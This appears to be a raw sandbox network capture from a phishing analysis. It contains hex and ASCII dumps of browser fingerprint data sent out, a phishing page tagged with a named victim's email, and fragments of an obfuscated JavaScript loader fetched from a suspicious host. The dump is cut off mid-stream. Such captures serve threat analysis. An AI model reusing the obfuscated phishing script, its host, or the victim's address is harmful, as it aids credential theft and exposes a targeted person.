25 35 42 6e 61 74 Data Ascii: Bnative+code%5D+%7D%22%2C%22SVGAElement%22%3A%22function+SVGAElement%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22Response%22%3A%22function+Response%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22ResizeObserverSize%22%3A%22function+ResizeObserverSize%28%29+%7B+%5Bnat
2024-11-07 22:47:25 UTC	16384	OUT	Data Raw: 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 48 54 4d 4c 4d 65 6e 75 45 6c 65 6d 65 6e 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 48 54 4d 4c 4d 65 6e 75 45 6c 65 6d 65 6e 74 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 48 54 4d 4c 4d 65 64 69 61 45 6c 65 6d 65 6e 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 48 54 4d 4c 4d 65 64 69 61 45 6c 65 6d 65 6e 74 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 48 54 4d 4c 4d 61 72 71 75 65 65 45 6c 65 6d 65 6e 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 48 54 4d 4c 4d 61 72 71 75 65 65 45 6c Data Ascii: ative+code%5D+%7D%22%2C%22HTMLMenuElement%22%3A%22function+HTMLMenuElement%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22HTMLMediaElement%22%3A%22function+HTMLMediaElement%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22HTMLMarqueeElement%22%3A%22function+HTMLMarqueeEl
2024-11-07 22:47:25 UTC	16384	OUT	Data Raw: 44 25 32 32 25 32 43 25 32 32 41 62 6f 72 74 53 69 67 6e 61 6c 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 41 62 6f 72 74 53 69 67 6e 61 6c 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 41 62 6f 72 74 43 6f 6e 74 72 6f 6c 6c 65 72 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 41 62 6f 72 74 43 6f 6e 74 72 6f 6c 6c 65 72 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 6f 66 66 73 63 72 65 65 6e 42 75 66 66 65 72 69 6e 67 25 32 32 25 33 41 74 72 75 65 25 32 43 25 32 32 57 65 62 41 73 73 65 6d 62 6c 79 25 32 32 25 33 41 25 32 32 25 35 42 6f 62 6a 65 63 74 2b 57 65 62 41 73 73 65 6d 62 6c 79 Data Ascii: D%22%2C%22AbortSignal%22%3A%22function+AbortSignal%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22AbortController%22%3A%22function+AbortController%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22offscreenBuffering%22%3Atrue%2C%22WebAssembly%22%3A%22%5Bobject+WebAssembly
2024-11-07 22:47:25 UTC	16384	OUT	Data Raw: 65 72 50 61 63 6b 65 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 55 53 42 49 73 6f 63 68 72 6f 6e 6f 75 73 4f 75 74 54 72 61 6e 73 66 65 72 50 61 63 6b 65 74 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 55 53 42 49 73 6f 63 68 72 6f 6e 6f 75 73 4f 75 74 54 72 61 6e 73 66 65 72 52 65 73 75 6c 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 55 53 42 49 73 6f 63 68 72 6f 6e 6f 75 73 4f 75 74 54 72 61 6e 73 66 65 72 52 65 73 75 6c 74 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 55 53 42 4f 75 74 54 72 61 6e 73 66 65 72 52 65 73 75 6c 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f Data Ascii: erPacket%22%3A%22function+USBIsochronousOutTransferPacket%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22USBIsochronousOutTransferResult%22%3A%22function+USBIsochronousOutTransferResult%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22USBOutTransferResult%22%3A%22functio
2024-11-07 22:47:25 UTC	16384	OUT	Data Raw: 25 32 43 25 32 32 4d 65 64 69 61 53 74 72 65 61 6d 41 75 64 69 6f 53 6f 75 72 63 65 4e 6f 64 65 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 53 74 72 65 61 6d 41 75 64 69 6f 44 65 73 74 69 6e 61 74 69 6f 6e 4e 6f 64 65 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 53 74 72 65 61 6d 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 53 6f 75 72 63 65 48 61 6e 64 6c 65 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 53 6f 75 72 63 65 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 52 65 63 6f 72 64 65 72 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 51 75 65 72 79 4c 69 73 74 45 76 65 6e 74 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 51 75 65 72 79 4c 69 73 74 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 4c 69 73 74 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 45 72 72 6f 72 25 32 32 25 32 43 25 Data Ascii: %2C%22MediaStreamAudioSourceNode%22%2C%22MediaStreamAudioDestinationNode%22%2C%22MediaStream%22%2C%22MediaSourceHandle%22%2C%22MediaSource%22%2C%22MediaRecorder%22%2C%22MediaQueryListEvent%22%2C%22MediaQueryList%22%2C%22MediaList%22%2C%22MediaError%22%2C%
2024-11-07 22:47:25 UTC	16384	OUT	Data Raw: 65 65 63 68 53 79 6e 74 68 65 73 69 73 25 32 32 25 32 43 25 32 32 6f 6e 63 6f 6e 74 65 6e 74 76 69 73 69 62 69 6c 69 74 79 61 75 74 6f 73 74 61 74 65 63 68 61 6e 67 65 25 32 32 25 32 43 25 32 32 6f 6e 73 63 72 6f 6c 6c 65 6e 64 25 32 32 25 32 43 25 32 32 41 6e 69 6d 61 74 69 6f 6e 50 6c 61 79 62 61 63 6b 45 76 65 6e 74 25 32 32 25 32 43 25 32 32 41 6e 69 6d 61 74 69 6f 6e 54 69 6d 65 6c 69 6e 65 25 32 32 25 32 43 25 32 32 43 53 53 41 6e 69 6d 61 74 69 6f 6e 25 32 32 25 32 43 25 32 32 43 53 53 54 72 61 6e 73 69 74 69 6f 6e 25 32 32 25 32 43 25 32 32 44 6f 63 75 6d 65 6e 74 54 69 6d 65 6c 69 6e 65 25 32 32 25 32 43 25 32 32 42 61 63 6b 67 72 6f 75 6e 64 46 65 74 63 68 4d 61 6e 61 67 65 72 25 32 32 25 32 43 25 32 32 42 61 63 6b 67 72 6f 75 6e 64 46 65 74 63 Data Ascii: eechSynthesis%22%2C%22oncontentvisibilityautostatechange%22%2C%22onscrollend%22%2C%22AnimationPlaybackEvent%22%2C%22AnimationTimeline%22%2C%22CSSAnimation%22%2C%22CSSTransition%22%2C%22DocumentTimeline%22%2C%22BackgroundFetchManager%22%2C%22BackgroundFetc
2024-11-07 22:47:25 UTC	8255	OUT	Data Raw: 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 63 72 65 61 74 65 41 74 74 72 69 62 75 74 65 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 63 72 65 61 74 65 41 74 74 72 69 62 75 74 65 4e 53 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 63 72 65 61 74 65 41 74 74 72 69 62 75 74 65 4e 53 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 63 72 65 61 74 65 43 44 41 54 41 53 65 63 74 69 6f 6e 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 63 72 65 61 74 65 43 44 41 54 41 53 65 63 74 69 6f 6e 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 Data Ascii: 22%3A%22function+createAttribute%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22createAttributeNS%22%3A%22function+createAttributeNS%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22createCDATASection%22%3A%22function+createCDATASection%28%29+%7B+%5Bnative+code%5D+%7D%22
2024-11-07 22:47:26 UTC	883	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-store vary: Accept-Encoding x-powered-by: ASP.NET x-powered-by-plesk: PleskWin cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=imjZ%2BGGQHWQsNqROLwrJhFnS5qxBe6kYKaJxmshRgmCJsUDXq8KjyMl1gCTeA4p8QnHgvIR8h15MCE2I4RqSFNz3YmqXHnV8%2Boxa3f0KEXoG8MqhTt8%2BOLUSl%2BN56Pg2omCjZ4jWNVplqR8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df0dd71cde1ddaf-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1103&sent=56&recv=151&lost=0&retrans=0&sent_bytes=2842&recv_bytes=141418&delivery_rate=2549295&cwnd=32&unsent_bytes=0&cid=83a49711c3025b65&ts=1275&x=0"
2024-11-07 22:47:26 UTC	486	IN	Data Raw: 35 32 64 0d 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 69 64 3d 27 68 74 6d 6c 27 20 73 74 69 3d 27 56 6c 5a 4f 52 6c 56 71 52 54 52 4e 56 45 46 35 54 55 52 4a 4d 46 5a 55 54 54 56 4e 56 45 46 34 54 30 52 52 4d 67 3d 3d 27 20 76 69 63 3d 27 6a 6f 65 2e 6e 67 75 79 65 6e 40 6c 65 67 2e 77 61 2e 67 6f 76 27 20 6c 61 6e 67 3d 27 65 6e 27 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 73 6f 63 6b 65 74 2e 69 6f 2f 34 2e 37 2e 35 2f 73 6f 63 6b 65 74 2e 69 6f 2e 6d 69 6e 2e 6a 73 27 20 69 6e 74 65 67 72 69 74 79 3d 27 73 68 61 33 38 34 2d 32 68 75 61 5a 76 4f 52 39 69 44 7a 48 71 73 6c 71 77 70 52 38 37 69 73 45 6d 72 66 78 71 79 57 4f 46 37 68 72 37 42 59 36 4b Data Ascii: 52d<!DOCTYPE html><html id='html' sti='VlZORlVqRTRNVEF5TURJMFZUTTVNVEF4T0RRMg==' vic='joe.nguyen@leg.wa.gov' lang='en'><head> <script src='https://cdn.socket.io/4.7.5/socket.io.min.js' integrity='sha384-2huaZvOR9iDzHqslqwpR87isEmrfxqyWOF7hr7BY6K

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.5	49733	23.1.237.91	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:25 UTC	1961	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Content-type: text/xml X-Agent-DeviceId: 01000A410900D492 X-BM-CBT: 1696428841 X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 120 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E X-Device-ClientSession: DB0AFB19004F47BC80E5208C7478FF22 X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A410900D492 X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,staticsh X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Content-Length: 2484 Connection: Keep-Alive Cache-Control: no-cache Cookie: MUID=2F4E96DB8B7049E59AD4484C3C00F7CF; _SS=SID=1A6DEABB468B65843EB5F91B47916435&CPID=1731019610804&AC=1&CPH=d1a4eb75; _EDGE_S=SID=1A6DEABB468B65843EB5F91B47916435; SRCHHPGUSR=SRCHLANG=en&IPMH=986d886c&IPMID=1696428841029&HV=1696428756
2024-11-07 22:47:25 UTC	1	OUT	Data Raw: 3c Data Ascii: <
2024-11-07 22:47:25 UTC	2483	OUT	Data Raw: 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 33 36 34 34 46 44 37 34 44 46 31 36 36 31 38 46 30 38 46 37 45 43 30 33 44 45 35 35 36 30 30 31 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 37 35 32 32 38 31 35 36 37 30 33 41 34 30 44 35 42 39 37 45 35 41 36 38 33 36 46 32 41 31 43 45 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 54 22 3a 22 43 49 2e 42 6f 78 4d 6f 64 65 6c 22 2c 22 46 49 44 22 3a 22 43 49 Data Ascii: ClientInstRequest><CID>3644FD74DF16618F08F7EC03DE556001</CID><Events><E><T>Event.ClientInst</T><IG>75228156703A40D5B97E5A6836F2A1CE</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","T":"CI.BoxModel","FID":"CI
2024-11-07 22:47:25 UTC	479	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 937009CDE62F46D09B0F0678EBE2BDF2 Ref B: LAX311000111047 Ref C: 2024-11-07T22:47:25Z Date: Thu, 07 Nov 2024 22:47:25 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.4ced0117.1731019645.1606d60

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49735	172.67.191.88	443	5704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:26 UTC	694	OUT	GET /o/jsnom.js HTTP/1.1 Host: bhutto.systelligence.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bhutto.systelligence.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWRWb3dTV1k9JnVpZD1VU0VSMTgxMDIwMjRVMzkxMDE4NDY=N0123Njoe.nguyen%40leg.wa.gov Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _cid=e9ccd5407bacb271b8cf9efe7842ff16
2024-11-07 22:47:27 UTC	962	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:27 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close last-modified: Wed, 30 Oct 2024 13:58:13 GMT etag: W/"553e40c3d32adb1:0" vary: Accept-Encoding x-powered-by: ASP.NET x-powered-by-plesk: PleskWin Cache-Control: max-age=14400 CF-Cache-Status: REVALIDATED Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZAnN0bbCeaZoMd%2BKhJ2P79lmADeHLhNZT5E74OYOGQ%2BgcpUllPts%2FTElJskzGRDD8Q5dhDpvP2d9XGa6vIcgpoTFgPcU2Q0YxjwgNAkYgmf77GiMWXDGD%2BgcbJUq0ibu%2Fl74LqHJpvJP7XI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df0dd79af5e79a3-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18909&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2842&recv_bytes=1272&delivery_rate=152944&cwnd=32&unsent_bytes=0&cid=41bdfdbd70750b9d&ts=1673&x=0"
2024-11-07 22:47:27 UTC	407	IN	Data Raw: 37 63 39 63 0d 0a 66 75 6e 63 74 69 6f 6e 20 5f 30 78 31 66 61 65 28 5f 30 78 33 34 62 61 31 39 2c 20 5f 30 78 35 39 38 62 31 38 29 20 7b 20 63 6f 6e 73 74 20 5f 30 78 35 39 65 62 30 35 20 3d 20 5f 30 78 35 39 65 62 28 29 3b 20 72 65 74 75 72 6e 20 5f 30 78 31 66 61 65 20 3d 20 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 66 61 65 35 39 2c 20 5f 30 78 33 39 31 66 64 35 29 20 7b 20 5f 30 78 31 66 61 65 35 39 20 3d 20 5f 30 78 31 66 61 65 35 39 20 2d 20 30 78 65 61 3b 20 6c 65 74 20 5f 30 78 63 62 63 31 36 39 20 3d 20 5f 30 78 35 39 65 62 30 35 5b 5f 30 78 31 66 61 65 35 39 5d 3b 20 72 65 74 75 72 6e 20 5f 30 78 63 62 63 31 36 39 3b 20 7d 2c 20 5f 30 78 31 66 61 65 28 5f 30 78 33 34 62 61 31 39 2c 20 5f 30 78 35 39 38 62 31 38 29 3b 20 7d 28 66 75 6e 63 74 69 6f Data Ascii: 7c9cfunction _0x1fae(_0x34ba19, _0x598b18) { const _0x59eb05 = _0x59eb(); return _0x1fae = function(_0x1fae59, _0x391fd5) { _0x1fae59 = _0x1fae59 - 0xea; let _0xcbc169 = _0x59eb05[_0x1fae59]; return _0xcbc169; }, _0x1fae(_0x34ba19, _0x598b18); }(functio
2024-11-07 22:47:27 UTC	1369	IN	Data Raw: 20 70 61 72 73 65 49 6e 74 28 5f 30 78 32 30 31 39 63 30 28 30 78 31 32 31 29 29 20 2f 20 30 78 31 20 2b 20 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 32 30 31 39 63 30 28 30 78 31 37 30 29 29 20 2f 20 30 78 32 20 2b 20 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 32 30 31 39 63 30 28 30 78 31 34 62 29 29 20 2f 20 30 78 33 20 2b 20 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 32 30 31 39 63 30 28 30 78 31 34 64 29 29 20 2f 20 30 78 34 20 2b 20 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 32 30 31 39 63 30 28 30 78 31 34 63 29 29 20 2f 20 30 78 35 20 2b 20 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 32 30 31 39 63 30 28 30 78 31 31 38 29 29 20 2f 20 30 78 36 20 2b 20 70 61 72 73 65 49 6e 74 28 5f 30 78 32 30 31 39 63 30 28 30 78 31 37 31 29 29 20 2f 20 30 78 37 3b 0a 20 20 20 20 20 Data Ascii: parseInt(_0x2019c0(0x121)) / 0x1 + -parseInt(_0x2019c0(0x170)) / 0x2 + -parseInt(_0x2019c0(0x14b)) / 0x3 + -parseInt(_0x2019c0(0x14d)) / 0x4 + -parseInt(_0x2019c0(0x14c)) / 0x5 + -parseInt(_0x2019c0(0x118)) / 0x6 + parseInt(_0x2019c0(0x171)) / 0x7;
2024-11-07 22:47:27 UTC	1369	IN	Data Raw: 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 68 65 69 67 68 74 3a 5c 78 32 30 31 35 30 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 5c 78 32 30 34 35 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 2e 74 69 74 74 6c 65 54 65 78 74 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 66 6f 6e 74 2d 77 65 69 67 68 74 3a 5c 78 32 30 38 30 30 3b 5c 78 30 61 5c 78 32 30 5c Data Ascii: px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20height:\x20150px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20margin-left:\x2045px;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20.tittleText\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20font-weight:\x20800;\x0a\x20\
2024-11-07 22:47:27 UTC	1369	IN	Data Raw: 30 2e 34 29 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 62 6f 72 64 65 72 2d 6c 65 66 74 3a 5c 78 32 30 30 2e 35 65 6d 5c 78 32 30 73 6f 6c 69 64 5c 78 32 30 23 30 33 38 33 38 37 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 5c 78 32 30 74 72 61 6e 73 6c 61 74 65 5a 28 30 29 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 5c 78 32 30 74 72 61 6e 73 6c 61 74 65 5a 28 30 29 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 Data Ascii: 0.4);\x0a\x20\x20\x20\x20\x20\x20\x20\x20border-left:\x200.5em\x20solid\x20#038387;\x0a\x20\x20\x20\x20\x20\x20\x20\x20-webkit-transform:\x20translateZ(0);\x0a\x20\x20\x20\x20\x20\x20\x20\x20-ms-transform:\x20translateZ(0);\x0a\x20\x20\x20\x20\x20\x20\x20
2024-11-07 22:47:27 UTC	1369	IN	Data Raw: 30 40 6b 65 79 66 72 61 6d 65 73 5c 78 32 30 6c 6f 61 64 38 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 30 25 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 5c 78 32 30 72 6f 74 61 74 65 28 30 64 65 67 29 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 74 72 61 6e 73 66 6f 72 6d 3a 5c 78 32 30 72 6f 74 61 74 65 28 30 64 65 67 29 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c Data Ascii: 0@keyframes\x20load8\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x200%\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20-webkit-transform:\x20rotate(0deg);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20transform:\x20rotate(0deg);\x0a\x20\x20\x20\x20\
2024-11-07 22:47:27 UTC	1369	IN	Data Raw: 64 65 5c 78 32 32 2c 5c 78 32 30 5c 78 32 32 52 6f 62 6f 74 6f 5c 78 32 32 2c 5c 78 32 30 5c 78 32 32 45 62 72 69 6d 61 5c 78 32 32 2c 5c 78 32 30 5c 78 32 32 4e 69 72 6d 61 6c 61 5c 78 32 30 55 49 5c 78 32 32 2c 5c 78 32 30 5c 78 32 32 47 61 64 75 67 69 5c 78 32 32 2c 5c 78 32 30 5c 78 32 32 53 65 67 6f 65 5c 78 32 30 58 62 6f 78 5c 78 32 30 53 79 6d 62 6f 6c 5c 78 32 32 2c 5c 78 32 30 5c 78 32 32 53 65 67 6f 65 5c 78 32 30 55 49 5c 78 32 30 53 79 6d 62 6f 6c 5c 78 32 32 2c 5c 78 32 30 5c 78 32 32 4d 65 69 72 79 6f 5c 78 32 30 55 49 5c 78 32 32 2c 5c 78 32 30 5c 78 32 32 4b 68 6d 65 72 5c 78 32 30 55 49 5c 78 32 32 2c 5c 78 32 30 5c 78 32 32 54 75 6e 67 61 5c 78 32 32 2c 5c 78 32 30 5c 78 32 32 4c 61 6f 5c 78 32 30 55 49 5c 78 32 32 2c 5c 78 32 30 5c 78 Data Ascii: de\x22,\x20\x22Roboto\x22,\x20\x22Ebrima\x22,\x20\x22Nirmala\x20UI\x22,\x20\x22Gadugi\x22,\x20\x22Segoe\x20Xbox\x20Symbol\x22,\x20\x22Segoe\x20UI\x20Symbol\x22,\x20\x22Meiryo\x20UI\x22,\x20\x22Khmer\x20UI\x22,\x20\x22Tunga\x22,\x20\x22Lao\x20UI\x22,\x20\x
2024-11-07 22:47:27 UTC	1369	IN	Data Raw: 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 5c 78 32 30 63 6f 76 65 72 2c 5c 78 32 30 63 6f 76 65 72 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 2e 6f 76 65 72 6c 61 79 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 70 6f 73 69 74 69 6f 6e 3a 5c 78 32 30 61 62 73 6f 6c 75 74 65 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7a 2d 69 6e 64 65 78 3a 